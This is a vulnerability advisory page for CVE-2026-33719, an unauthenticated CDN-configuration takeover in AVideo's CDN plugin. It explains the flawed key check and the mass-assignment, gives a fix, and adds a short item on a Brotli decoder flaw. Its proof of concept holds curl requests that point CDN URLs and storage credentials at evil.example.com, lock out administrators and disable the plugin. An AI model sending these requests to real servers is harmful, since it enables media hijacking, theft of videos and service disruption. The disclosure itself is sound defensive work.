New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-33719

ExploitedNVDCIRCLENISA

EUVD-2026-14506 · Published Mar 25, 2026

AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment

Summary

The CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter.

Details

The CDN plugin defines a default empty key in plugin/CDN/CDN.php:68:

$obj->key = "";

The status.json.php endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:

// Line 16-19: Requires attacker to provide SOME key value
if (empty($_REQUEST['key'])) {
    $resp->msg = 'Key is empty';
    die(json_encode($resp));
}

// Line 21-26: Only validates key IF stored key is non-empty
if (!empty($obj->key)) {      // When key is "" (default), this is FALSE
    //check the key
    if ($obj->key !== $_REQUEST['key']) {
        $resp->msg = 'Key Does not match';
        die(json_encode($resp));
    }
}

When the stored key is the default empty string "", !empty("") evaluates to false, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.

Following the bypass, lines 28-31 perform unchecked mass-assignment:

$obj->key = $_REQUEST['key'];
foreach ($_REQUEST['par'] as $key => $value) {
    $obj->{$key} = $value;
    $resp->{$key} = $value;
}

The attacker-controlled par array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:

$cdn = AVideoPlugin::loadPluginIfEnabled('CDN');
$id = $cdn->setDataObject($obj);

setDataObject() in Plugin.abstract.php:263 serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.

Exploitable properties (defined in CDN.php:62-87) include:

  • CDN — main CDN URL for serving all video content
  • CDN_S3, CDN_B2, CDN_FTP — storage-specific CDN URLs
  • enable_storage — enables CDN storage functionality
  • storage_hostname, storage_username, storage_password — storage backend credentials
  • key — the authentication key itself (via mass-assignment, can override line 28)

The disable.json.php endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: $cdn->setStatus('inactive')).

This contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, Gallery/saveSort.json.php (commit 087dab884) uses isGlobalTokenValid(), and commit daca4ffb1 added User::isAdmin() checks to other configuration endpoints.

PoC

Prerequisites: AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).

Step 1: Verify CDN plugin is enabled and key is default

curl -s 'https://target/plugin/CDN/status.json.php' \
  -d 'key=anything' \
  -d 'par[CDN]=https://evil.example.com/'

If the response contains "error":false, the key bypass worked and CDN URL has been overwritten.

Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins

curl -s 'https://target/plugin/CDN/status.json.php' \
  -d 'key=initial-bypass' \
  -d 'par[CDN]=https://evil.example.com/' \
  -d 'par[enable_storage]=1' \
  -d 'par[storage_hostname]=evil.example.com' \
  -d 'par[storage_username]=attacker' \
  -d 'par[storage_password]=controlled' \
  -d 'par[key]=attacker-secret-key'

This single request:

  1. Redirects all CDN-served media URLs to attacker's server
  2. Enables CDN storage pointing to attacker-controlled host
  3. Sets the key to attacker-secret-key, locking legitimate administrators out of reconfiguring via this endpoint

Step 3: Disable CDN entirely (denial of service)

curl -s 'https://target/plugin/CDN/disable.json.php' \
  -d 'key=attacker-secret-key' \
  -d 'par[x]=1'

This deactivates the CDN plugin, disrupting media delivery.

Impact

An unauthenticated remote attacker can:

  1. Redirect all media delivery — By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing.
  2. Exfiltrate uploaded videos — By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker's storage server.
  3. Overwrite storage credentials — The storage_hostname, storage_username, and storage_password fields are all mass-assignable, allowing the attacker to hijack the storage backend.
  4. Lock out administrators — By setting the key via mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected).
  5. Disable CDN — Via disable.json.php, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.

The vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured — which is the default state immediately after enabling the plugin.

Recommended Fix

Add proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In plugin/CDN/status.json.php and plugin/CDN/disable.json.php, add an admin check after the configuration include:

require_once dirname(__FILE__) . '/../../videos/configuration.php';
_session_write_close();
header('Content-Type: application/json');

$resp = new stdClass();
$resp->error = true;
$resp->msg = '';

// Fix: Require admin authentication
if (!User::isAdmin()) {
    $obj = AVideoPlugin::getDataObjectIfEnabled('CDN');
    if (empty($obj) || empty($obj->key) || empty($_REQUEST['key']) || $obj->key !== $_REQUEST['key']) {
        $resp->msg = 'Authentication required';
        die(json_encode($resp));
    }
}

Additionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:

$allowedParams = ['CDN', 'CDN_S3', 'CDN_B2', 'CDN_FTP', 'CDN_Live'];
foreach ($_REQUEST['par'] as $key => $value) {
    if (!in_array($key, $allowedParams, true)) {
        continue;
    }
    $obj->{$key} = $value;
    $resp->{$key} = $value;
}

This prevents mass-assignment of sensitive properties like key, storage_password, storage_hostname, and enable_storage even when the key-based auth is legitimately used by CDN nodes.

Technologies

Wwbn Avideo

Weaknesses

CWE-306

CVSS scores

  • v3.18.6CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Two situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with "Content-Encoding: br" at the reverse proxy or WAF. When the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag "paas: platform.sh" or "cdn: fastly" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Contact your edge provider about the status of the pathing (Fastly / Plateform.sh) Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

News

Our latest news

Couldn’t load the latest news.

Take 15 minutes to discover our platform with our experts

PatrowlIntel platform screenshot